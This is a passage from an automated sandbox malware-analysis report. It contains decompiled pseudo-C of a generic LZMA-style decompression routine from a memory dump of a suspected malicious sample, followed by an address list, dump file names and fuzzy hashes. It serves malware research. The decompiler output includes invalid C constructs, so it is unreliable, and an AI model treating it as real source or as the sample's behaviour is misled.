														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406ffe
0x00406ffe
0x00407002
0x00407023
0x0040702a
0x00407030
0x00407036
0x00407048
0x0040704e
0x00407053
0x00000000
0x00407004
0x0040700a
0x004073cb
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb
0x00000000
0x00407002

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 0040711C Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040711C() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
